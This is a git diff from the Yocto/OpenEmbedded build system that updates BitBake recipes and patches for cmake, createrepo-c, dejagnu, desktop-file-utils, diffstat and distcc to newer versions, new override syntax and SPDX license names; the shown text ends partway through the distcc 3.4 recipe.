+++ b/meta/recipes-devtools/cmake/cmake/0004-Fail-silently-if-system-Qt-installation-is-broken.patch
@@ -1,4 +1,4 @@
-From d4a78e8739e845c2963666f7ef6a6c7a89827988 Mon Sep 17 00:00:00 2001
+From 60864efbe52cc12018efaafbc4e4c3c8b4af2b65 Mon Sep 17 00:00:00 2001
From: Otavio Salvador <otavio@ossystems.com.br>
Date: Thu, 5 Jul 2018 10:26:48 -0300
Subject: [PATCH] Fail silently if system Qt installation is broken
@@ -28,7 +28,7 @@ Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
1 file changed, 20 insertions(+), 19 deletions(-)
diff --git a/Modules/FindQt4.cmake b/Modules/FindQt4.cmake
-index 7e18243..497d5c3 100644
+index b2a8585..77c89aa 100644
--- a/Modules/FindQt4.cmake
+++ b/Modules/FindQt4.cmake
@@ -988,25 +988,26 @@ if (QT_QMAKE_EXECUTABLE AND
diff --git a/meta/recipes-devtools/cmake/cmake/0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch b/meta/recipes-devtools/cmake/cmake/0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch
index ad42d409d9..d6f7308fe0 100644
--- a/meta/recipes-devtools/cmake/cmake/0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch
+++ b/meta/recipes-devtools/cmake/cmake/0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch
@@ -1,7 +1,8 @@
-From 0df8d46d14c371f21c327966a553c4c187a8acfe Mon Sep 17 00:00:00 2001
+From fd9a04c1434e12f21c043385e306e0b52d38d749 Mon Sep 17 00:00:00 2001
From: Otavio Salvador <otavio@ossystems.com.br>
Date: Thu, 5 Jul 2018 10:28:04 -0300
-Subject: [PATCH 5/5] Disable use of ext2fs/ext2_fs.h by cmake's internal
+Subject: [PATCH] Disable use of ext2fs/ext2_fs.h by cmake's internal
+
libarchive copy
Organization: O.S. Systems Software LTDA.
@@ -12,15 +13,16 @@ Upstream-Status: Inappropriate [config]
Signed-off-by: Paul Eggleton <paul.eggleton@linux.intel.com>
Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
+
---
Utilities/cmlibarchive/CMakeLists.txt | 8 ++------
1 file changed, 2 insertions(+), 6 deletions(-)
diff --git a/Utilities/cmlibarchive/CMakeLists.txt b/Utilities/cmlibarchive/CMakeLists.txt
-index 206f3c6a5..642fb0dd9 100644
+index bfcaf30..2960683 100644
--- a/Utilities/cmlibarchive/CMakeLists.txt
+++ b/Utilities/cmlibarchive/CMakeLists.txt
-@@ -430,12 +430,8 @@ LA_CHECK_INCLUDE_FILE("copyfile.h" HAVE_COPYFILE_H)
+@@ -682,12 +682,8 @@ LA_CHECK_INCLUDE_FILE("copyfile.h" HAVE_COPYFILE_H)
LA_CHECK_INCLUDE_FILE("direct.h" HAVE_DIRECT_H)
LA_CHECK_INCLUDE_FILE("dlfcn.h" HAVE_DLFCN_H)
LA_CHECK_INCLUDE_FILE("errno.h" HAVE_ERRNO_H)
@@ -34,7 +36,4 @@ index 206f3c6a5..642fb0dd9 100644
+SET(HAVE_WORKING_EXT2_IOC_GETFLAGS 0)
LA_CHECK_INCLUDE_FILE("fcntl.h" HAVE_FCNTL_H)
LA_CHECK_INCLUDE_FILE("grp.h" HAVE_GRP_H)
- LA_CHECK_INCLUDE_FILE("inttypes.h" HAVE_INTTYPES_H)
---
-2.18.0
-
+ LA_CHECK_INCLUDE_FILE("io.h" HAVE_IO_H)
diff --git a/meta/recipes-devtools/cmake/cmake/OEToolchainConfig.cmake b/meta/recipes-devtools/cmake/cmake/OEToolchainConfig.cmake
index 398069eef2..86446c3ace 100644
--- a/meta/recipes-devtools/cmake/cmake/OEToolchainConfig.cmake
+++ b/meta/recipes-devtools/cmake/cmake/OEToolchainConfig.cmake
@@ -2,7 +2,6 @@ set( CMAKE_SYSTEM_NAME Linux )
set( CMAKE_C_FLAGS $ENV{CFLAGS} CACHE STRING "" FORCE )
set( CMAKE_CXX_FLAGS $ENV{CXXFLAGS} CACHE STRING "" FORCE )
set( CMAKE_ASM_FLAGS ${CMAKE_C_FLAGS} CACHE STRING "" FORCE )
-set( CMAKE_LDFLAGS_FLAGS ${CMAKE_CXX_FLAGS} CACHE STRING "" FORCE )
set( CMAKE_SYSROOT $ENV{OECORE_TARGET_SYSROOT} )
set( CMAKE_FIND_ROOT_PATH $ENV{OECORE_TARGET_SYSROOT} )
@@ -19,7 +18,7 @@ if ($ENV{SDKTARGETSYSROOT} MATCHES "/sysroots/([a-zA-Z0-9_-]+)-.+-.+")
endif()
# Include the toolchain configuration subscripts
-file( GLOB toolchain_config_files "${CMAKE_TOOLCHAIN_FILE}.d/*.cmake" )
+file( GLOB toolchain_config_files "${CMAKE_CURRENT_LIST_FILE}.d/*.cmake" )
foreach(config ${toolchain_config_files})
include(${config})
endforeach()
diff --git a/meta/recipes-devtools/cmake/cmake_3.15.3.bb b/meta/recipes-devtools/cmake/cmake_3.15.3.bb
deleted file mode 100644
index e0457677e8..0000000000
--- a/meta/recipes-devtools/cmake/cmake_3.15.3.bb
+++ /dev/null
@@ -1,53 +0,0 @@
-require cmake.inc
-
-inherit cmake
-
-DEPENDS += "curl expat zlib libarchive xz ncurses bzip2"
-
-SRC_URI_append_class-nativesdk = " \
- file://OEToolchainConfig.cmake \
- file://environment.d-cmake.sh \
- file://0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch \
-"
-
-# Strip ${prefix} from ${docdir}, set result into docdir_stripped
-python () {
- prefix=d.getVar("prefix")
- docdir=d.getVar("docdir")
-
- if not docdir.startswith(prefix):
- bb.fatal('docdir must contain prefix as its prefix')
-
- docdir_stripped = docdir[len(prefix):]
- if len(docdir_stripped) > 0 and docdir_stripped[0] == '/':
- docdir_stripped = docdir_stripped[1:]
-
- d.setVar("docdir_stripped", docdir_stripped)
-}
-
-EXTRA_OECMAKE=" \
- -DCMAKE_DOC_DIR=${docdir_stripped}/cmake-${CMAKE_MAJOR_VERSION} \
- -DCMAKE_USE_SYSTEM_LIBRARIES=1 \
- -DCMAKE_USE_SYSTEM_LIBRARY_JSONCPP=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_LIBUV=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_LIBRHASH=0 \
- -DKWSYS_CHAR_IS_SIGNED=1 \
- -DBUILD_CursesDialog=0 \
- -DKWSYS_LFS_WORKS=1 \
-"
-
-do_install_append_class-nativesdk() {
- mkdir -p ${D}${datadir}/cmake
- install -m 644 ${WORKDIR}/OEToolchainConfig.cmake ${D}${datadir}/cmake/
-
- mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
- install -m 644 ${WORKDIR}/environment.d-cmake.sh ${D}${SDKPATHNATIVE}/environment-setup.d/cmake.sh
-}
-
-FILES_${PN}_append_class-nativesdk = " ${SDKPATHNATIVE}"
-
-FILES_${PN} += "${datadir}/cmake-${CMAKE_MAJOR_VERSION} ${datadir}/cmake ${datadir}/aclocal"
-FILES_${PN}-doc += "${docdir}/cmake-${CMAKE_MAJOR_VERSION}"
-FILES_${PN}-dev = ""
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/cmake/cmake_3.22.3.bb b/meta/recipes-devtools/cmake/cmake_3.22.3.bb
new file mode 100644
index 0000000000..36c6357dd8
--- /dev/null
+++ b/meta/recipes-devtools/cmake/cmake_3.22.3.bb
@@ -0,0 +1,53 @@
+require cmake.inc
+
+inherit cmake bash-completion
+
+DEPENDS += "curl expat zlib libarchive xz ncurses bzip2"
+
+SRC_URI:append:class-nativesdk = " \
+ file://OEToolchainConfig.cmake \
+ file://environment.d-cmake.sh \
+ file://0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch \
+"
+
+# Strip ${prefix} from ${docdir}, set result into docdir_stripped
+python () {
+ prefix=d.getVar("prefix")
+ docdir=d.getVar("docdir")
+
+ if not docdir.startswith(prefix):
+ bb.fatal('docdir must contain prefix as its prefix')
+
+ docdir_stripped = docdir[len(prefix):]
+ if len(docdir_stripped) > 0 and docdir_stripped[0] == '/':
+ docdir_stripped = docdir_stripped[1:]
+
+ d.setVar("docdir_stripped", docdir_stripped)
+}
+
+EXTRA_OECMAKE=" \
+ -DCMAKE_DOC_DIR=${docdir_stripped}/cmake-${CMAKE_MAJOR_VERSION} \
+ -DCMAKE_USE_SYSTEM_LIBRARIES=1 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_JSONCPP=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_LIBUV=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_LIBRHASH=0 \
+ -DKWSYS_CHAR_IS_SIGNED=1 \
+ -DBUILD_CursesDialog=0 \
+ -DKWSYS_LFS_WORKS=1 \
+"
+
+do_install:append:class-nativesdk() {
+ mkdir -p ${D}${datadir}/cmake
+ install -m 644 ${WORKDIR}/OEToolchainConfig.cmake ${D}${datadir}/cmake/
+
+ mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
+ install -m 644 ${WORKDIR}/environment.d-cmake.sh ${D}${SDKPATHNATIVE}/environment-setup.d/cmake.sh
+}
+
+FILES:${PN}:append:class-nativesdk = " ${SDKPATHNATIVE}"
+
+FILES:${PN} += "${datadir}/cmake-${CMAKE_MAJOR_VERSION} ${datadir}/cmake ${datadir}/aclocal ${datadir}/emacs ${datadir}/vim"
+FILES:${PN}-doc += "${docdir}/cmake-${CMAKE_MAJOR_VERSION}"
+FILES:${PN}-dev = ""
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch b/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
index c0f07fe2ca..b63fe53944 100644
--- a/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
+++ b/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
@@ -1,25 +1,28 @@
-From 4644d18157296257284bedd857f4610f1037d50e Mon Sep 17 00:00:00 2001
+From 6f8f6d151b831b60f6e7892aa9294a6361353c72 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 30 Dec 2016 18:31:02 +0200
Subject: [PATCH] Do not set PYTHON_INSTALL_DIR by running python
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
+Signed-off-by: Wang Mingyu <wangmy@fujitsu.com>
---
src/python/CMakeLists.txt | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/python/CMakeLists.txt b/src/python/CMakeLists.txt
-index 3d873f7..e977b2f 100644
+index a31b14d..01fd8ca 100644
--- a/src/python/CMakeLists.txt
+++ b/src/python/CMakeLists.txt
-@@ -21,7 +21,7 @@ if (NOT SKBUILD)
- endif ()
+@@ -14,7 +14,7 @@ if (NOT SKBUILD)
+ FIND_PACKAGE(PythonLibs 3 REQUIRED)
endif (NOT SKBUILD)
--EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib(True))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
-+#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib(True))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
+-EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('platlib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
++#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('platlib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
INCLUDE_DIRECTORIES (${PYTHON_INCLUDE_PATH})
MESSAGE(STATUS "Python install dir is ${PYTHON_INSTALL_DIR}")
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/createrepo-c/createrepo-c_0.15.1.bb b/meta/recipes-devtools/createrepo-c/createrepo-c_0.15.1.bb
deleted file mode 100644
index 797db738f4..0000000000
--- a/meta/recipes-devtools/createrepo-c/createrepo-c_0.15.1.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-DESCRIPTION = "C implementation of createrepo."
-HOMEPAGE = "https://github.com/rpm-software-management/createrepo_c/wiki"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "git://github.com/rpm-software-management/createrepo_c \
- file://0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
- "
-
-SRCREV = "bc67f19ed09593e3886ebeee2391e9d51cc3439f"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = "expat curl glib-2.0 libxml2 openssl bzip2 zlib file sqlite3 xz rpm"
-DEPENDS_append_class-native = " file-replacement-native"
-
-inherit cmake pkgconfig bash-completion distutils3-base
-
-EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3 -DWITH_ZCHUNK=OFF -DENABLE_DRPM=OFF -DWITH_LIBMODULEMD=OFF"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# Direct createrepo to read rpm configuration from our sysroot, not the one it was compiled in
-do_install_append_class-native() {
- create_wrapper ${D}/${bindir}/createrepo_c \
- RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm
-}
-
-do_install_append_class-nativesdk() {
- create_wrapper ${D}/${bindir}/createrepo_c \
- RPM_CONFIGDIR=${SDKPATHNATIVE}${libdir_nativesdk}/rpm
- rm -rf ${D}/etc
-}
diff --git a/meta/recipes-devtools/createrepo-c/createrepo-c_0.19.0.bb b/meta/recipes-devtools/createrepo-c/createrepo-c_0.19.0.bb
new file mode 100644
index 0000000000..82351252e5
--- /dev/null
+++ b/meta/recipes-devtools/createrepo-c/createrepo-c_0.19.0.bb
@@ -0,0 +1,40 @@
+DESCRIPTION = "C implementation of createrepo."
+HOMEPAGE = "https://github.com/rpm-software-management/createrepo_c/wiki"
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "git://github.com/rpm-software-management/createrepo_c;branch=master;protocol=https \
+ file://0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
+ "
+
+SRCREV = "a531ee881a8f1d9273b4383fb9fa604c56fff138"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "expat curl glib-2.0 libxml2 openssl bzip2 zlib file sqlite3 xz rpm"
+DEPENDS:append:class-native = " file-replacement-native"
+
+inherit cmake pkgconfig bash-completion setuptools3-base
+
+EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3 -DWITH_ZCHUNK=OFF -DENABLE_DRPM=OFF -DWITH_LIBMODULEMD=OFF"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Direct createrepo to read rpm configuration from our sysroot, not the one it was compiled in
+do_install:append:class-native() {
+ create_wrapper ${D}/${bindir}/createrepo_c \
+ RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
+ MAGIC=${STAGING_DIR_NATIVE}${datadir_native}/misc/magic.mgc
+ create_wrapper ${D}/${bindir}/modifyrepo_c \
+ MAGIC=${STAGING_DIR_NATIVE}${datadir_native}/misc/magic.mgc
+}
+
+do_install:append:class-nativesdk() {
+ create_wrapper ${D}/${bindir}/createrepo_c \
+ RPM_CONFIGDIR=${SDKPATHNATIVE}${libdir_nativesdk}/rpm \
+ MAGIC=${datadir}/misc/magic.mgc
+ create_wrapper ${D}/${bindir}/modifyrepo_c \
+ MAGIC=${datadir}/misc/magic.mgc
+ rm -rf ${D}/etc
+}
diff --git a/meta/recipes-devtools/dejagnu/dejagnu_1.6.2.bb b/meta/recipes-devtools/dejagnu/dejagnu_1.6.2.bb
deleted file mode 100644
index 10220ebc91..0000000000
--- a/meta/recipes-devtools/dejagnu/dejagnu_1.6.2.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "GNU unit testing framework, written in Expect and Tcl"
-DESCRIPTION = "DejaGnu is a framework for testing other programs. Its purpose \
-is to provide a single front end for all tests."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-SECTION = "devel"
-
-DEPENDS += "expect-native"
-
-inherit autotools
-
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz"
-
-SRC_URI[md5sum] = "e1b07516533f351b3aba3423fafeffd6"
-SRC_URI[sha256sum] = "0d0671e1b45189c5fc8ade4b3b01635fb9eeab45cf54f57db23e4c4c1a17d261"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/dejagnu/dejagnu_1.6.3.bb b/meta/recipes-devtools/dejagnu/dejagnu_1.6.3.bb
new file mode 100644
index 0000000000..895f6d3b36
--- /dev/null
+++ b/meta/recipes-devtools/dejagnu/dejagnu_1.6.3.bb
@@ -0,0 +1,18 @@
+SUMMARY = "GNU unit testing framework, written in Expect and Tcl"
+DESCRIPTION = "DejaGnu is a framework for testing other programs. Its purpose \
+is to provide a single front end for all tests."
+HOMEPAGE = "https://www.gnu.org/software/dejagnu/"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+SECTION = "devel"
+
+DEPENDS += "expect-native"
+RDEPENDS:${PN} = "expect"
+
+inherit autotools
+
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz"
+
+SRC_URI[sha256sum] = "87daefacd7958b4a69f88c6856dbd1634261963c414079d0c371f589cd66a2e3"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.24.bb b/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.24.bb
deleted file mode 100644
index aecba07235..0000000000
--- a/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.24.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SECTION = "console/utils"
-SUMMARY = "Command line utilities for working with *.desktop files"
-HOMEPAGE = "http://www.freedesktop.org/wiki/Software/desktop-file-utils"
-LICENSE = "GPLv2+"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://src/validator.c;beginline=4;endline=27;md5=281e1114ee6c486a1a0a4295986b9416"
-
-SRC_URI = "http://freedesktop.org/software/${BPN}/releases/${BP}.tar.xz"
-SRC_URI[md5sum] = "9364b82e14cfcad881161aa7ea5257ae"
-SRC_URI[sha256sum] = "a1de5da60cbdbe91e5c9c10ac9afee6c3deb019e0cee5fdb9a99dddc245f83d9"
-
-DEPENDS = "glib-2.0"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF += "ac_cv_prog_EMACS=no"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_install_append() {
- rm -rf ${D}${datadir}/emacs
-}
-
diff --git a/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.26.bb b/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.26.bb
new file mode 100644
index 0000000000..f6d1146e89
--- /dev/null
+++ b/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.26.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Command line utilities for working with *.desktop files"
+DESCRIPTION = "desktop-file-utils contains a few command line utilities for working with desktop entries"
+HOMEPAGE = "http://www.freedesktop.org/wiki/Software/desktop-file-utils"
+SECTION = "console/utils"
+LICENSE = "GPL-2.0-or-later"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://src/validator.c;beginline=4;endline=27;md5=281e1114ee6c486a1a0a4295986b9416"
+
+SRC_URI = "http://freedesktop.org/software/${BPN}/releases/${BP}.tar.xz"
+SRC_URI[md5sum] = "29739e005f5887cf41639b8450f3c23f"
+SRC_URI[sha256sum] = "b26dbde79ea72c8c84fb7f9d870ffd857381d049a86d25e0038c4cef4c747309"
+
+DEPENDS = "glib-2.0"
+
+inherit autotools pkgconfig
+
+EXTRA_OECONF += "ac_cv_prog_EMACS=no"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_install:append() {
+ rm -rf ${D}${datadir}/emacs
+}
+
diff --git a/meta/recipes-devtools/devel-config/distcc-config.bb b/meta/recipes-devtools/devel-config/distcc-config.bb
index 3cd661d543..698fd3585a 100644
--- a/meta/recipes-devtools/devel-config/distcc-config.bb
+++ b/meta/recipes-devtools/devel-config/distcc-config.bb
@@ -1,4 +1,5 @@
SUMMARY = "Sets up distcc for compilation on the target device"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
@@ -19,4 +20,4 @@ do_install() {
install -m 0755 distcc.sh ${D}${sysconfdir}/profile.d/
}
-RDEPENDS_${PN} = "distcc"
+RDEPENDS:${PN} = "distcc"
diff --git a/meta/recipes-devtools/devel-config/nfs-export-root.bb b/meta/recipes-devtools/devel-config/nfs-export-root.bb
index 56375a47b7..0aaec36b41 100644
--- a/meta/recipes-devtools/devel-config/nfs-export-root.bb
+++ b/meta/recipes-devtools/devel-config/nfs-export-root.bb
@@ -14,4 +14,4 @@ do_install() {
install -m 0644 exports ${D}${sysconfdir}/
}
-RDEPENDS_${PN} = "packagegroup-core-nfs-server"
+RDEPENDS:${PN} = "packagegroup-core-nfs-server"
diff --git a/meta/recipes-devtools/diffstat/diffstat_1.62.bb b/meta/recipes-devtools/diffstat/diffstat_1.62.bb
deleted file mode 100644
index 93d77797c9..0000000000
--- a/meta/recipes-devtools/diffstat/diffstat_1.62.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "Tool to produce a statistics based on a diff"
-DESCRIPTION = "diffstat reads the output of diff and displays a histogram of \
-the insertions, deletions, and modifications per-file. It is useful for \
-reviewing large, complex patch files."
-HOMEPAGE = "http://invisible-island.net/diffstat/"
-SECTION = "devel"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://install-sh;endline=42;md5=b3549726c1022bee09c174c72a0ca4a5"
-
-SRC_URI = "http://invisible-mirror.net/archives/${BPN}/${BP}.tgz \
- file://run-ptest \
- file://avoid-check-user-break-cc.patch \
-"
-
-SRC_URI[md5sum] = "91e106bb34cb097750db7ddc0ba1d8fc"
-SRC_URI[sha256sum] = "7f09183644ed77a156b15346bbad4e89c93543e140add9dab18747e30522591f"
-
-S = "${WORKDIR}/diffstat-${PV}"
-
-inherit autotools gettext ptest
-
-EXTRA_AUTORECONF += "--exclude=aclocal"
-
-LDFLAGS += "${TOOLCHAIN_OPTIONS}"
-
-do_install_ptest() {
- cp -r ${S}/testing ${D}${PTEST_PATH}
-}
diff --git a/meta/recipes-devtools/diffstat/diffstat_1.64.bb b/meta/recipes-devtools/diffstat/diffstat_1.64.bb
new file mode 100644
index 0000000000..717f503039
--- /dev/null
+++ b/meta/recipes-devtools/diffstat/diffstat_1.64.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Tool to produce a statistics based on a diff"
+DESCRIPTION = "diffstat reads the output of diff and displays a histogram of \
+the insertions, deletions, and modifications per-file. It is useful for \
+reviewing large, complex patch files."
+HOMEPAGE = "http://invisible-island.net/diffstat/"
+SECTION = "devel"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f605b1986cc3b808ec0e4fa9d0e0f2d9"
+
+SRC_URI = "http://invisible-mirror.net/archives/${BPN}/${BP}.tgz \
+ file://run-ptest \
+ file://avoid-check-user-break-cc.patch \
+ "
+
+SRC_URI[sha256sum] = "b8aee38d9d2e1d05926e6b55810a9d2c2dd407f24d6a267387563a4436e3f7fc"
+
+inherit autotools gettext ptest
+
+EXTRA_AUTORECONF += "--exclude=aclocal"
+
+LDFLAGS += "${TOOLCHAIN_OPTIONS}"
+
+do_install_ptest() {
+ cp -r ${S}/testing ${D}${PTEST_PATH}
+}
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/distcc/distcc_3.3.3.bb b/meta/recipes-devtools/distcc/distcc_3.3.3.bb
deleted file mode 100644
index c52f136be8..0000000000
--- a/meta/recipes-devtools/distcc/distcc_3.3.3.bb
+++ /dev/null
@@ -1,87 +0,0 @@
-SUMMARY = "A parallel build system"
-DESCRIPTION = "distcc is a parallel build system that distributes \
-compilation of C/C++/ObjC code across machines on a network."
-SECTION = "devel"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
-
-DEPENDS = "avahi binutils"
-
-PACKAGECONFIG ??= "popt"
-PACKAGECONFIG[gtk] = "--with-gtk,--without-gtk --without-gnome,gtk+"
-# use system popt by default
-PACKAGECONFIG[popt] = "--without-included-popt,--with-included-popt,popt"
-
-RRECOMMENDS_${PN}-server = "avahi-daemon"
-
-SRC_URI = "git://github.com/distcc/distcc.git \
- file://fix-gnome.patch \
- file://separatebuilddir.patch \
- file://default \
- file://distcc \
- file://distcc.service"
-SRCREV = "4cde9bcfbda589abd842e3bbc652ce369085eaae"
-S = "${WORKDIR}/git"
-
-inherit autotools pkgconfig update-rc.d useradd systemd
-
-ASNEEDED = ""
-
-EXTRA_OECONF += "--disable-Werror PYTHON='' --disable-pump-mode"
-
-PACKAGE_BEFORE_PN = "${PN}-distmon-gnome ${PN}-server"
-
-USERADD_PACKAGES = "${PN}-server"
-USERADD_PARAM_${PN}-server = "--system \
- --home /dev/null \
- --no-create-home \
- --gid nogroup \
- distcc"
-
-UPDATERCPN = "${PN}-server"
-INITSCRIPT_NAME = "distcc"
-
-SYSTEMD_PACKAGES = "${PN}-server"
-SYSTEMD_SERVICE_${PN}-server = "distcc.service"
-
-do_install() {
- # Improve reproducibility: compress w/o timestamps
- oe_runmake 'DESTDIR=${D}' "GZIP_BIN=gzip -n" install
- install -d ${D}${sysconfdir}/init.d/
- install -d ${D}${sysconfdir}/default
- install -m 0755 ${WORKDIR}/distcc ${D}${sysconfdir}/init.d/
- install -m 0755 ${WORKDIR}/default ${D}${sysconfdir}/default/distcc
- install -d ${D}${systemd_unitdir}/system/
- install -m 0644 ${WORKDIR}/distcc.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@BINDIR@,${bindir},g' ${D}${systemd_unitdir}/system/distcc.service
-}
-
-FILES_${PN}-server = "${sysconfdir} \
- ${bindir}/distccd \
- ${sbindir}"
-FILES_${PN}-distmon-gnome = "${bindir}/distccmon-gnome \
- ${datadir}/applications \
- ${datadir}/pixmaps"
-
-#
-# distcc upstream dropped the 3.2 branch which we reference in older project releases
-# the revisions are there, just the branch is not. In order to be able to continue
-# to build those old releases, adjust any mirror tarball to contain the missing branch
-#
-fixup_distcc_mirror_tarball () {
- TBALL=${DL_DIR}/git2_github.com.distcc.distcc.git.tar.gz
- if [ -f $TBALL ]; then
- TDIR=`mktemp -d`
- cd $TDIR
- tar -xzf $TBALL
- set +e
- git rev-parse --verify 3.2
- if [ "$?" != "0" ]; then
- git branch 3.2 d8b18df3e9dcbe4f092bed565835d3975e99432c
- tar -czf $TBALL *
- fi
- set -e
- rm -rf $TDIR/*
- fi
-}
-do_fetch[postfuncs] += "fixup_distcc_mirror_tarball"
diff --git a/meta/recipes-devtools/distcc/distcc_3.4.bb b/meta/recipes-devtools/distcc/distcc_3.4.bb
new file mode 100644
index 0000000000..45fc7cde53
--- /dev/null
+++ b/meta/recipes-devtools/distcc/distcc_3.4.bb
@@ -0,0 +1,88 @@
+SUMMARY = "A parallel build system"
+DESCRIPTION = "distcc is a parallel build system that distributes \
+compilation of C/C++/ObjC code across machines on a network."
+HOMEPAGE = "https://github.com/distcc/distcc"
+SECTION = "devel"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+
+DEPENDS = "avahi binutils"
+
+PACKAGECONFIG ??= "popt"
+PACKAGECONFIG[gtk] = "--with-gtk,--without-gtk --without-gnome,gtk+"
+# use system popt by default
+PACKAGECONFIG[popt] = "--without-included-popt,--with-included-popt,popt"
+
+RRECOMMENDS:${PN}-server = "avahi-daemon"
+
+SRC_URI = "git://github.com/distcc/distcc.git;branch=master;protocol=https \
+ file://default \
+ file://distcc \
+ file://distcc.service \
+ "
+SRCREV = "50d821efe99cae82c05be0a4ab3b4035ef0d3883"
+S = "${WORKDIR}/git"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+inherit autotools pkgconfig update-rc.d useradd systemd
+
+ASNEEDED = ""
+
+EXTRA_OECONF += "--disable-Werror PYTHON='' --disable-pump-mode"
+
+PACKAGE_BEFORE_PN = "${PN}-distmon-gnome ${PN}-server"
+
+USERADD_PACKAGES = "${PN}-server"
+USERADD_PARAM:${PN}-server = "--system \
+ --home /dev/null \
+ --no-create-home \
+ --gid nogroup \
+ distcc"
+
+UPDATERCPN = "${PN}-server"
+INITSCRIPT_NAME = "distcc"
+
+SYSTEMD_PACKAGES = "${PN}-server"
